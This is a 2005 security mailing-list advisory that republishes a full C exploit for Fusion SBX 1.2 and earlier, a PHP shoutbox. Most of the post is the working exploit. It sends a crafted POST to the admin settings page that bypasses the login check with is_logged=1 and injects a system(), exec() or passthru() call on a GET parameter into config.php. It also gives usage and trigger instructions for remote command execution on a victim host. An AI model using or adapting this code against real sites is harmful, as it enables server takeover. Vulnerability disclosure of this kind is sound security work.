[EXPL] Fusion SBX Remote Command Execution (Exploit 2)
From: SecuriTeam (support_at_securiteam.com)
Date: 05/17/05
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To: list@securiteam.com Date: 17 May 2005 11:17:16 +0200
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Fusion SBX Remote Command Execution (Exploit 2)
------------------------------------------------------------------------
SUMMARY
<http://www.fusionphp.net//index.php?cat=fsbx&page=features> Fusion SBX
"will allow your visitors to post comments on your sites, or just say hi.
And the best of all is that, it is flat-file, that means that you do not
need a MySQL database to install Fusion SBX. You have complete control
over the shoutout board".
The following is another proof of concept, exploiting the previously
posted Fusion SBX's vulnerabilities.
DETAILS
Vulnerable Systems:
* Fusion SBX version 1.2 and prior
/***************************
* *
* [Fusion SBX <= 1.2] exploit *
* *
* sileFSBXxpl *
* *
* This exploit use vulnerability found into *
* Fusion SBX and create new variable and call it *
* with a malicious function (stored in config.php). *
* This exploit utilize injection of three diverse *
* procedures for execution of arbitrary code on *
* vulnerable machine with httpd privileges. *
* *
* *
* coded by: Silentium of Anacron Group Italy *
* date: 10/05/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron-group-italy *
* *
* this tool is developed under GPL license *
* no(c) .:. copyleft *
* *
***************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80 // port of web server
void info(void);
void banner(void);
void sendxpl(FILE *out, char *argv[], int type);
void errsock(void);
void errgeth(void);
void errconn(char *argv[]);
int main(int argc, char *argv[]){
FILE *out;
int sock, sockconn, type;
struct sockaddr_in addr;
struct hostent *hp;
if(argc!=4)
info();
type = atoi(argv[3]);
if(type < 1 || type > 3)
info();
banner();
if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0)
errsock();
printf("[*] Creating socket [OK]\n");
if((hp = gethostbyname(argv[1])) == NULL)
errgeth();
printf("[*] Resolving victim host [OK]\n");
memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
errconn(argv);
printf("[*] Connecting at victim host [OK]\n");
out = fdopen(sock,"a");
setbuf(out,NULL);
sendxpl(out,argv,type);
printf("[*] Now test at execute code on\n\n"
"[1] %s%sindex.php?sile=id\n"
"[2]
%s%sadmin/index.php?sile=id\n\n",argv[1],argv[2],argv[1],argv[2]);
shutdown(sock,2);
close(sock);
return 0;
}
void info(void){
system("clear");
printf("\n #########################################\n"
" # sileFSBXxpl #\n"
" # ################################### #\n"
" # Fusion SBX <= 1.2 exploit #\n"
" # Remote Command Execution #\n"
" # coded by Silentium #\n"
" # [ Anacron Group Italy ] #\n"
" # ################################### #\n"
" # www.autistici.org/anacron-group-italy #\n"
" #########################################\n\n"
" [Usage]\n\n"
" sileFSBXxpl <victim> <path_sbx> <type>\n\n"
" [Type]\n\n"
" 1) injection of system()\n"
" 2) injection of exec()\n"
" 3) injection of passthru()\n\n"
" [Example]\n\n"
" sileFSBXxpl www.victim.com /sbx/ 1\n\n");
exit(1);
}
void banner(void){
system("clear");
printf("[-] sileFSBXxpl\n"
" ============\n"
"[-] Fusion SBX <= 1.2 exploit\n"
"[-] coded by Silentium - Anacron Group Italy\n"
"[-] www.autistici.org/anacron-group-italy\n\n");
}
void sendxpl(FILE *out, char *argv[], int type){
char *call;
int size = 245;
if(type == 1)
call = "system";
else if(type == 2)
call = "exec";
else if(type == 3)
call = "passthru";
size+=strlen(call);
fprintf(out,"POST %sadmin/?settings HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"
"set2=basic&admin_set2=standard"
"&lang2=english&plimit2=10&noname2=Guest&"
"refresh2=120&maxname2=30"
"%%3B%%40%s%%28%%24_GET%%5Bsile%%5D%%29&maxmess"
"2=120&maxlink2=120&wordbanning2=1"
"&maxword2=20&wrapstat2=1&postorder2=1"
"&setsubmit=Commit+Changes&is_logged=1\n\n",argv[2],argv[1],size,call);
printf("[*] Sending exploit [OK]\n\n");
}
void errsock(void){
system("clear");
printf("[x] Creating socket [FAILED]\n\n");
exit(1);
}
void errgeth(void){
printf("[x] Resolving victim host [FAILED]\n\n");
exit(1);
}
void errconn(char *argv[]){
printf("[x] Connecting at victim host [FAILED]\n\n",argv[1]);
exit(1);
}
ADDITIONAL INFORMATION
The information has been provided by ">Silentium.
The original article can be found at:
<http://www.autistici.org/anacron-group-italy/file/source/sileFSBXxpl_v1.2.c> http://www.autistici.org/anacron-group-italy/file/source/sileFSBXxpl_v1.2.c
<http://www.securiteam.com/exploits/5OP042KFPU.html> Fusion SBX Password
Bypass and Remote Command Execution
========================================
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